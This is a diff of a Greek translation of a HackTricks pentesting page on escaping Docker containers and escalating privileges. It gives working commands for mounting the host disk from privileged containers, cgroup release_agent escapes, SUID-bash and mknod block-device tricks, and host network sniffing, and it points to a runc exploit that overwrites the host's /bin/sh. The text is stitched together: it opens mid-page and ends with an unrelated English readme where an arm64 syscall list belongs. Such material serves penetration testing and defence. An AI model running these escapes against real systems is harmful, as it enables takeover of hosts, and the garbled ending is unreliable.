* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
* **Βιβλίο: How Linux Works, 3η έκδοση: Αυτό που Κάθε Υπερχρήστης Πρέπει να Γνωρίζει Από τον Brian Ward**

View file

@ -1,24 +1,25 @@
# Διαρροή Docker / Ανόδος Προνομίων
# Docker Breakout / Εscalation Προνομίων
{% hint style="success" %}
Μάθε & εξάσκησε το Hacking στο AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε το Hacking στο GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ κάνοντας υποβολή PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
<figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
@ -26,20 +27,20 @@
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Μπορεί επίσης να **απαριθμήσει containers**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Αυτό το εργαλείο είναι αρκετά **χρήσιμο για την απαρίθμηση του container στο οποίο βρίσκεστε και ακόμα να προσπαθήσετε να αποδράσετε αυτόματα**
* [**amicontained**](https://github.com/genuinetools/amicontained): Χρήσιμο εργαλείο για να λάβετε τα προνόμια που έχει το container προκειμένου να βρείτε τρόπους απόδρασης από αυτό
* [**amicontained**](https://github.com/genuinetools/amicontained): Χρήσιμο εργαλείο για να πάρετε τα προνόμια που έχει το container προκειμένου να βρείτε τρόπους απόδρασης από αυτό
* [**deepce**](https://github.com/stealthcopter/deepce): Εργαλείο για απαρίθμηση και απόδραση από containers
* [**grype**](https://github.com/anchore/grype): Λάβετε τα CVEs που περιέχονται στο λογισμικό που είναι εγκατεστημένο στην εικόνα
* [**grype**](https://github.com/anchore/grype): Πάρτε τα CVEs που περιέχονται στο λογισμικό που είναι εγκατεστημένο στην εικόνα
## Απόδραση με Ένωση Πρίζας Docker
## Απόδραση με Ένωση του Docker Socket
Αν κάπως βρείτε ότι η **πρίζα του docker είναι συνδεδεμένη** μέσα στο docker container, θα μπορείτε να αποδράσετε από αυτό.\
Αυτό συμβαίνει συνήθως σε docker containers που για κάποιο λόγο χρειάζεται να συνδεθεί στον δαίμονα του docker για να εκτελέσει ενέργειες.
Αν κάπως βρείτε ότι το **docker socket είναι συνδεδεμένο** μέσα στο docker container, θα μπορείτε να αποδράσετε από αυτό.\
Αυτό συμβαίνει συνήθως σε docker containers που για κάποιο λόγο χρειάζεται να συνδεθεί στον docker daemon για να εκτελέσει ενέργειες.
```bash
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```
Σε αυτήν την περίπτωση μπορείτε να χρησιμοποιήσετε τα κανονικά docker εντολές για να επικοινωνήσετε με τον docker daemon:
Σε αυτήν την περίπτωση μπορείτε να χρησιμοποιήσετε τα κανονικά εντολές docker για να επικοινωνήσετε με τον docker daemon:
```bash
#List images to use one
docker images
@ -57,7 +58,7 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se
Σε περίπτωση που το **docker socket βρίσκεται σε μη αναμενόμενη θέση** μπορείτε ακόμα να επικοινωνήσετε μαζί του χρησιμοποιώντας την εντολή **`docker`** με την παράμετρο **`-H unix:///path/to/docker.sock`**
{% endhint %}
Το Docker daemon ενδέχεται επίσης να [ακούει σε έναν θύρα (προεπιλεγμένα 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ή σε συστήματα βασισμένα σε Systemd, η επικοινωνία με το Docker daemon μπορεί να γίνει μέσω του Systemd socket `fd://`.
Το Docker daemon ενδέχεται επίσης να [ακούει σε ένα θύρα (προεπιλεγμένα 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ή σε συστήματα βασισμένα σε Systemd, η επικοινωνία με το Docker daemon μπορεί να γίνει μέσω του Systemd socket `fd://`.
{% hint style="info" %}
Επιπλέον, προσέξτε τα sockets εκτέλεσης άλλων υψηλού επιπέδου εκτελέσεων:
@ -78,7 +79,7 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se
```bash
capsh --print
```
Στην ακόλουθη σελίδα μπορείτε να **μάθετε περισσότερα σχετικά με τις δυνατότητες του Linux** και πώς να τις καταχραστείτε για να δραπετεύσετε/αναβαθμίσετε προνόμια:
Στην ακόλουθη σελίδα μπορείτε **να μάθετε περισσότερα σχετικά με τις δυνατότητες του Linux** και πώς να τις καταχραστείτε για να δραπετεύσετε/αναβαθμίσετε προνομιακά δικαιώματα:
{% content-ref url="../../linux-capabilities.md" %}
[linux-capabilities.md](../../linux-capabilities.md)
@ -86,7 +87,7 @@ capsh --print
## Δραπέτευση από Προνομιούχους Ελέγχους
Ένα προνομιούχος ελεγκτής μπορεί να δημιουργηθεί με τη σημαία `--privileged` ή απενεργοποιώντας συγκεκριμένες αμυντικές μέθοδους:
Ένα προνομιούχος ελεγκτής μπορεί να δημιουργηθεί με τη σημαία `--privileged` ή απενεργοποιώντας συγκεκριμένες αμυντικές μέτρησεις:
* `--cap-add=ALL`
* `--security-opt apparmor=unconfined`
@ -114,7 +115,7 @@ docker run --rm -it --pid=host --privileged ubuntu bash
```
### Προνομιούχος
Απλά με τη σημαία προνομιούχου μπορείτε να δοκιμάσετε να **έχετε πρόσβαση στο δίσκο του υπολογιστή** ή να **δραπετεύσετε καταχρώμενοι το release\_agent ή άλλες διαφυγές**.
Απλά με τη σημαία προνομίων μπορείτε να δοκιμάσετε να **έχετε πρόσβαση στο δίσκο του υπολογιστή** ή να **δραπετεύσετε καταχρώμενοι το release\_agent ή άλλες διαφυγές**.
Δοκιμάστε τις παρακάτω παρακάμψεις σε ένα container εκτελώντας:
```bash
@ -122,11 +123,11 @@ docker run --rm -it --privileged ubuntu bash
```
#### Προσάρτηση Δίσκου - Poc1
Οι σωστά ρυθμισμένοι containers του docker δεν θα επιτρέψουν εντολές όπως το **fdisk -l**. Ωστόσο, σε περιπτώσεις όπου η εντολή του docker ρυθμίζεται εσφαλμένα με τη σημαία `--privileged` ή `--device=/dev/sda1` με κεφαλαία γράμματα, είναι δυνατόν να αποκτηθούν δικαιώματα για να δείτε τον δίσκο του κεντρικού υπολογιστή.
Οι ρυθμισμένες σωστά docker containers δεν θα επιτρέψουν εντολές όπως **fdisk -l**. Ωστόσο, σε docker εντολές που έχουν ρυθμιστεί λανθασμένα όπου ορίζεται η σημαία `--privileged` ή `--device=/dev/sda1` με κεφαλαία γράμματα, είναι δυνατόν να αποκτηθούν δικαιώματα για να δείτε τον δίσκο του κεντρικού υπολογιστή.
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
Έτσι, για να πάρετε τον έλεγχο του κεντρικού υπολογιστή, είναι εύκολο:
Έτσι, για να πάρετε τον έλεγχο του κεντρικού υπολογιστή, είναι ασήμαντο:
```bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
@ -135,7 +136,7 @@ mount /dev/sda1 /mnt/hola
#### Προσάρτηση Δίσκου - Poc2
Μέσα στο container, ένας επιτιθέμενος μπορεί να προσπαθήσει να αποκτήσει περαιτέρω πρόσβαση στο υποκείμενο λειτουργικό σύστημα του κεντρικού υπολογιστή μέσω ενός εγγράψιμου όγκου hostPath που δημιουργήθηκε από το cluster. Παρακάτω είναι μερικά κοινά πράγματα που μπορείτε να ελέγξετε μέσα στο container για να δείτε αν μπορείτε να εκμεταλλευτείτε αυτόν τον διάνυσμα επίθεσης.
Μέσα στο container, ένας επιτιθέμενος μπορεί να προσπαθήσει να κερδίσει περαιτέρω πρόσβαση στο υποκείμενο λειτουργικό σύστημα του κεντρικού υπολογιστή μέσω ενός εγγράψιμου όγκου hostPath που δημιουργήθηκε από το cluster. Παρακάτω είναι μερικά κοινά πράγματα που μπορείτε να ελέγξετε μέσα στο container για να δείτε αν μπορείτε να εκμεταλλευτείτε αυτό το διάνυσμα του επιτιθέμενου:
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@ -194,7 +195,7 @@ cat /o
```
{% endcode %}
#### Απόδραση με προνομιούχο χρήστη εκμεταλλευόμενος το δημιουργημένο release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
#### Απόδραση με προνομιούχο χρήστη εκμεταλλευόμενος τον δημιουργημένο release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
{% code title="Δεύτερο PoC" %}
```bash
@ -340,12 +341,12 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
#### Κατάχρηση Προνομιούχων Απόδρασης Χρησιμοποιώντας Ευαίσθητα Mounts
#### Απόδραση με Χρήση Ευαίσθητων Σημείων Πρόσβασης
Υπάρχουν αρκετά αρχεία που μπορεί να τοποθετηθούν και δίνουν **πληροφορίες σχετικά με τον υποκείμενο κεντρικό υπολογιστή**. Κάποια από αυτά μπορεί ακόμα να υποδεικνύουν **κάτι που πρόκειται να εκτελεστεί από τον κεντρικό υπολογιστή όταν συμβεί κάτι** (το οποίο θα επιτρέψει σε έναν επιτιθέμενο να δραπετεύσει από τον εμπλεκόμενο δοχείο).\
Η κατάχρηση αυτών των αρχείων μπορεί να επιτρέψει τα εξής:
Υπάρχουν αρκετά αρχεία που μπορεί να τοποθετηθούν και δίνουν **πληροφορίες σχετικά με τον υποκείμενο κεντρικό υπολογιστή**. Κάποια από αυτά μπορεί ακόμα να υποδεικνύουν **κάτι που πρέπει να εκτελεστεί από τον κεντρικό υπολογιστή όταν συμβεί κάτι** (το οποίο θα επιτρέψει σε έναν επιτιθέμενο να δραπετεύσει από τον εμπλεκόμενο δοχείο).\
Η κατάχρηση αυτών των αρχείων μπορεί να επιτρέψει:
* release\_agent (ήδη καλύφθηκε προηγουμένως)
* release\_agent (ήδη καλυμμένο προηγουμένως)
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
@ -357,16 +358,16 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
[sensitive-mounts.md](sensitive-mounts.md)
{% endcontent-ref %}
### Αυθαίρετα Mounts
### Αυθαίρετα Σημεία Πρόσβασης
Σε πολλές περιπτώσεις θα διαπιστώσετε ότι το **δοχείο έχει κάποιον όγκο που έχει τοποθετηθεί από τον κεντρικό υπολογιστή**. Εάν αυτός ο όγκος δεν έχει διαμορφωθεί σωστά, ενδέχεται να μπορείτε να **έχετε πρόσβαση/τροποποιήσετε ευαίσθητα δεδομένα**: Διαβάστε μυστικά, αλλάξτε τα authorized\_keys του ssh...
Σε πολλές περιπτώσεις θα διαπιστώσετε ότι το **δοχείο έχει κάποιον όγκο τοποθετημένο από τον κεντρικό υπολογιστή**. Εάν αυτός ο όγκος δεν έχει ρυθμιστεί σωστά, ενδέχεται να μπορείτε να **έχετε πρόσβαση/τροποποιήσετε ευαίσθητα δεδομένα**: Διαβάστε μυστικά, αλλάξτε τα authorized\_keys του ssh...
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### Εscalation προνομίων με 2 κελύφη και host mount
Εάν έχετε πρόσβαση ως **root μέσα σε ένα container** που έχει κάποιο φάκελο από τον host που έχει προσαρτηθεί και έχετε **δραπετεύσει ως ένας μη προνομιούχος χρήστης στον host** και έχετε πρόσβαση ανάγνωσης στον προσαρτημένο φάκελο.\
Μπορείτε να δημιουργήσετε ένα **αρχείο bash suid** στον **προσαρτημένο φάκελο** μέσα στο **container** και να το **εκτελέσετε από τον host** για προνομιούχα αύξηση.
Εάν έχετε πρόσβαση ως **root μέσα σε ένα container** που έχει κάποιο φάκελο από τον host που έχει προσαρτηθεί και έχετε **δραπετεύσει ως μη προνομιούχος χρήστης στον host** και έχετε πρόσβαση ανάγνωσης στον προσαρτημένο φάκελο.\
Μπορείτε να δημιουργήσετε ένα **αρχείο bash suid** στον **προσαρτημένο φάκελο** μέσα στο **container** και να το **εκτελέσετε από τον host** για προνομιούχο ανέλιξη.
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -374,12 +375,12 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### Εscalation προνομίων με 2 κελιά
### Εscalation προνομίων με 2 κελύφη
Εάν έχετε πρόσβαση ως **root μέσα σε ένα container** και έχετε **δραπετεύσει ως μη προνομιούχος χρήστης στον host**, μπορείτε να καταχραστείτε και τα δύο κελιά για **προνομιούχα αύξηση μέσα στον host** αν έχετε τη δυνατότητα MKNOD μέσα στο container (είναι από προεπιλογή) όπως [**εξηγείται σε αυτή την ανάρτηση**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Με αυτή τη δυνατότητα, ο χρήστης root μέσα στο container επιτρέπεται να **δημιουργήσει αρχεία block device**. Τα αρχεία συσκευών είναι ειδικά αρχεία που χρησιμοποιούνται για **πρόσβαση στο υποκείμενο hardware & στα modules του πυρήνα**. Για παράδειγμα, το αρχείο block /dev/sda δίνει πρόσβαση για **ανάγνωση των raw δεδομένων στο δίσκο των συστημάτων**.
Εάν έχετε πρόσβαση ως **root μέσα σε ένα container** και έχετε **δραπετεύσει ως μη προνομιούχος χρήστης στον host**, μπορείτε να καταχραστείτε και τα δύο κελύφη για **εξέλιξη προνομίων μέσα στον host** αν έχετε τη δυνατότητα MKNOD μέσα στο container (είναι εξ' ορισμού) όπως [**εξηγείται σε αυτή την ανάρτηση**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Με αυτή τη δυνατότητα, ο χρήστης root μέσα στο container επιτρέπεται να **δημιουργεί αρχεία block device**. Τα αρχεία συσκευών είναι ειδικά αρχεία που χρησιμοποιούνται για **πρόσβαση στο υποκείμενο hardware & στα modules του πυρήνα**. Για παράδειγμα, το αρχείο block device /dev/sda δίνει πρόσβαση για **ανάγνωση των raw δεδομένων στο δίσκο του συστήματος**.
Το Docker προστατεύει ενάντια στην κατάχρηση αρχείων block device μέσα στα containers επιβάλλοντας μια πολιτική cgroup που **αποκλείει τις λειτουργίες ανάγνωσης/εγγραφής αρχείων block device**. Ωστόσο, εάν ένα αρχείο block device **δημιουργηθεί μέσα στο container**, γίνεται προσβάσιμο από έξω από το container μέσω του φακέλου **/proc/PID/root/**. Αυτή η πρόσβαση απαιτεί τον **ίδιο κάτοχο διεργασίας** τόσο μέσα όσο και έξω από το container.
Το Docker προστατεύει ενάντια στην κατάχρηση αρχείων block device μέσα σε containers επιβάλλοντας μια πολιτική cgroup που **αποκλείει τις λειτουργίες ανάγνωσης/εγγραφής block device**. Ωστόσο, εάν ένα αρχείο block device **δημιουργηθεί μέσα στο container**, γίνεται προσβάσιμο από έξω από το container μέσω του φακέλου **/proc/PID/root/**. Αυτή η πρόσβαση απαιτεί τον **ίδιο ιδιοκτήτη διεργασίας** τόσο μέσα όσο και έξω από το container.
Παράδειγμα **εκμετάλλευσης** από αυτό το [**άρθρο**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
@ -454,25 +455,25 @@ cat /proc/635813/fd/4
```
docker run --rm -it --network=host ubuntu bash
```
Εάν ένας container έχει διαμορφωθεί με τον [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), το δίκτυο αυτού του container δεν είναι απομονωμένο από τον Docker host (το container μοιράζεται το namespace δικτύου του host) και το container δεν λαμβάνει ανατεθειμένη δική του διεύθυνση IP. Με άλλα λόγια, το **container δένει όλες τις υπηρεσίες απευθείας στη διεύθυνση IP του host**. Επιπλέον, το container μπορεί **να παρακολουθήσει ΟΛΗ την κίνηση δικτύου που ο host** στέλνει και λαμβάνει στην κοινόχρηστη διεπαφή `tcpdump -i eth0`.
Εάν ένας container έχει διαμορφωθεί με τον [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), το δίκτυο αυτού του container δεν είναι απομονωμένο από τον Docker host (το container μοιράζεται το namespace δικτύωσης του host) και το container δεν λαμβάνει ανατεθειμένη δική του διεύθυνση IP. Με άλλα λόγια, το **container δένει όλες τις υπηρεσίες απευθείας στη διεύθυνση IP του host**. Επιπλέον, το container μπορεί **να παρακολουθήσει ΟΛΗ την κίνηση δικτύου που ο host** στέλνει και λαμβάνει στην κοινόχρηστη διεπαφή `tcpdump -i eth0`.
Για παράδειγμα, μπορείτε να χρησιμοποιήσετε αυτό για **να καταγράψετε και ακόμα να παραποιήσετε την κίνηση** μεταξύ του host και της μεταδεδομένης περίπτωσης.
Όπως στα ακόλουθα παραδείγματα:
Όπως στα παρακάτω παραδείγματα:
* [Ανάλυση: Πώς να επικοινωνήσετε με το Google SRE: Ρίχνοντας ένα κέλυφος στο cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [Η MITM υπηρεσία μεταδεδομένων επιτρέπει την ανάδειξη προνομίων ρίζας (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
* [Η υπηρεσία Metadata MITM επιτρέπει την ανάδειξη προνομίων ρίζας (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
Θα είστε επίσης σε θέση να έχετε πρόσβαση σε **υπηρεσίες δικτύου που είναι δεμένες στο localhost** μέσα στον host ή ακόμα και να έχετε πρόσβαση στα **δικαιώματα μεταδεδομένων του κόμβου** (τα οποία ενδέχεται να είναι διαφορετικά από αυτά που μπορεί να έχει πρόσβαση ένα container).
Θα έχετε επίσης πρόσβαση σε **υπηρεσίες δικτύου που είναι δεμένες στο localhost** μέσα στον host ή ακόμα και πρόσβαση στα **δικαιώματα μεταδεδομένων του κόμβου** (τα οποία ενδέχεται να είναι διαφορετικά από αυτά που μπορεί να έχει πρόσβαση ένα container).
### hostIPC
```bash
docker run --rm -it --ipc=host ubuntu bash
```
Με το `hostIPC=true`, κερδίζετε πρόσβαση στους πόρους μεταξύ διεργασιών (IPC) του κεντρικού υπολογιστή, όπως η **κοινόχρηστη μνήμη** στο `/dev/shm`. Αυτό επιτρέπει την ανάγνωση/εγγραφή όπου οι ίδιοι IPC πόροι χρησιμοποιούνται από άλλες διεργασίες του κεντρικού υπολογιστή ή των pods. Χρησιμοποιήστε την εντολή `ipcs` για να εξετάσετε αυτούς τους μηχανισμούς IPC περαιτέρω.
Με το `hostIPC=true`, κερδίζετε πρόσβαση στους πόρους μεταξύ διεργασιών (IPC) του κεντρικού υπολογιστή, όπως τη **κοινόχρηστη μνήμη** στο `/dev/shm`. Αυτό επιτρέπει την ανάγνωση/εγγραφή όπου οι ίδιοι πόροι IPC χρησιμοποιούνται από άλλες διεργασίες του κεντρικού υπολογιστή ή των pods. Χρησιμοποιήστε την εντολή `ipcs` για να εξετάσετε αυτούς τους μηχανισμούς IPC περαιτέρω.
* **Επιθεώρηση του /dev/shm** - Αναζητήστε αρχεία σε αυτήν την τοποθεσία της κοινόχρηστης μνήμης: `ls -la /dev/shm`
* **Επιθεώρηση υπαρχόντων IPC εγκαταστάσεων** - Μπορείτε να ελέγξετε αν χρησιμοποιούνται κάποιες εγκαταστάσεις IPC με το `/usr/bin/ipcs`. Ελέγξτε το με: `ipcs -a`
* **Επιθεώρηση υπαρχόντων εγκαταστάσεων IPC** - Μπορείτε να ελέγξετε αν χρησιμοποιούνται κάποιες εγκαταστάσεις IPC με το `/usr/bin/ipcs`. Ελέγξτε το με: `ipcs -a`
### Ανάκτηση δυνατοτήτων
@ -484,7 +485,7 @@ cat /proc/self/status | grep CapEff
```
### Κατάχρηση του περιβάλλοντος χρήστη μέσω συμβολικών συνδέσεων
Η δεύτερη τεχνική που εξηγείται στη δημοσίευση [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) δείχνει πώς μπορείτε να καταχραστείτε τα bind mounts με χρήση των user namespaces, για να επηρεάσετε αρχεία μέσα στον κεντρικό υπολογιστή (σε εκείνη τη συγκεκριμένη περίπτωση, διαγράψτε αρχεία).
Η δεύτερη τεχνική που εξηγείται στη δημοσίευση [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) δείχνει πώς μπορείτε να καταχραστείτε τα bind mounts με χώρους ονομάτων χρηστών, για να επηρεάσετε αρχεία μέσα στον κεντρικό υπολογιστή (σε εκείνη τη συγκεκριμένη περίπτωση, διαγράψτε αρχεία).
<figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
@ -497,7 +498,7 @@ cat /proc/self/status | grep CapEff
### Εκμετάλλευση Runc (CVE-2019-5736)
Σε περίπτωση που μπορείτε να εκτελέσετε την εντολή `docker exec` ως ριζοχρήστης (πιθανόν με sudo), μπορείτε να προσπαθήσετε να αναβαθμίσετε τα προνόμια αποδρώντας από ένα container καταχρηστικά το CVE-2019-5736 (εκμετάλλευση [εδώ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Αυτή η τεχνική θα **αντικαταστήσει** ουσιαστικά το _**/bin/sh**_ δυαδικό αρχείο του **κεντρικού υπολογιστή** από ένα container, έτσι ώστε οποιοσδήποτε εκτελεί την εντολή docker exec μπορεί να ενεργοποιήσει το φορτίο.
Σε περίπτωση που μπορείτε να εκτελέσετε την εντολή `docker exec` ως ριζοχρήστης (πιθανόν με sudo), μπορείτε να προσπαθήσετε να αναβαθμίσετε τα δικαιώματά σας δραπετεύοντας από ένα container καταχρηστικά το CVE-2019-5736 (εκμετάλλευση [εδώ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Αυτή η τεχνική θα **αντικαταστήσει** ουσιαστικά το _**/bin/sh**_ δυαδικό αρχείο του **κεντρικού υπολογιστή** **από ένα container**, έτσι ώστε οποιοσδήποτε εκτελεί την εντολή docker exec μπορεί να ενεργοποιήσει το φορτίο.
Αλλάξτε το φορτίο αναλόγως και δημιουργήστε το main.go με την εντολή `go build main.go`. Το δυαδικό αρχείο που προκύπτει θα πρέπει να τοποθετηθεί στο container Docker για εκτέλεση.\
Κατά την εκτέλεση, μόλις εμφανιστεί το μήνυμα `[+] Overwritten /bin/sh successfully` πρέπει να εκτελέσετε το ακόλουθο από τον κεντρικό υπολογιστή:
@ -512,14 +513,14 @@ cat /proc/self/status | grep CapEff
Υπάρχουν και άλλα CVEs στα οποία το container μπορεί να είναι ευάλωτο, μπορείτε να βρείτε μια λίστα στο [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
{% endhint %}
## Προσαρμοσμένη Απόδραση Docker
## Προσαρμοσμένη Διαφυγή Docker
### Επιφάνεια Απόδρασης Docker
### Επιφάνεια Διαφυγής Docker
* **Χώροι ονομάτων:** Η διαδικασία πρέπει να είναι **εντελώς χωρισμένη από άλλες διαδικασίες** μέσω χώρων ονομάτων, έτσι ώστε να μην μπορούμε να αποδράσουμε αλληλεπιδρώντας με άλλες διεργασίες λόγω των χώρων ονομάτων (από προεπιλογή δεν μπορούν να επικοινωνήσουν μέσω IPCs, unix sockets, network svcs, D-Bus, `/proc` άλλων διεργασιών).
* **Χρήστης ρίζας**: Από προεπιλογή ο χρήστης που εκτελεί τη διαδικασία είναι ο χρήστης ρίζα (όμως οι προνομιώσεις του είναι περιορισμένες).
* **Χώροι ονομάτων:** Η διαδικασία πρέπει να είναι **εντελώς χωρισμένη από άλλες διαδικασίες** μέσω χώρων ονομάτων, έτσι ώστε να μην μπορούμε να δραπετεύσουμε αλληλεπιδρώντας με άλλες διεργασίες λόγω χώρων ονομάτων (από προεπιλογή δεν μπορούν να επικοινωνήσουν μέσω IPCs, unix sockets, network svcs, D-Bus, `/proc` άλλων διεργασιών).
* **Χρήστης ρίζας**: Από προεπιλογή, ο χρήστης που εκτελεί τη διαδικασία είναι ο χρήστης ρίζας (όμως οι προνομιούχες του είναι περιορισμένες).
* **Δυνατότητες**: Το Docker αφήνει τις ακόλουθες δυνατότητες: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **Syscalls**: Αυτές είναι οι syscalls που ο **χρήστης ρίζας δεν θα μπορεί να καλέσει** (λόγω έλλειψης δυνατοτήτων + Seccomp). Τα άλλα syscalls θα μπορούσαν να χρησιμοποιηθούν για να προσπαθήσετε να αποδράσετε.
* **Syscalls**: Αυτές είναι οι syscalls που ο **χρήστης ρίζα δεν θα μπορεί να καλέσει** (λόγω έλλειψης δυνατοτήτων + Seccomp). Οι άλλες syscalls θα μπορούσαν να χρησιμοποιηθούν για να προσπαθήσετε να δραπετεύσετε.
{% tabs %}
{% tab title="x64 syscalls" %}
@ -545,25 +546,7 @@ cat /proc/self/status | grep CapEff
```
{% endtab %}
{% tab title="arm64 syscalls" %}
## Docker Breakout Privilege Escalation
### Introduction
This repository contains a collection of techniques and scripts related to Docker breakout privilege escalation. These techniques can be used by attackers to escalate their privileges from within a Docker container to the host system.
### Contents
- **Docker Breakout Techniques**: Various techniques to break out of a Docker container and escalate privileges.
- **Scripts**: Scripts to automate the privilege escalation process.
### Disclaimer
This repository is for educational purposes only. The techniques and scripts provided here should only be used in authorized penetration testing engagements or for educational purposes in a controlled environment.
### Usage
Use these techniques and scripts responsibly and at your own risk. Do not use them for any illegal activities.
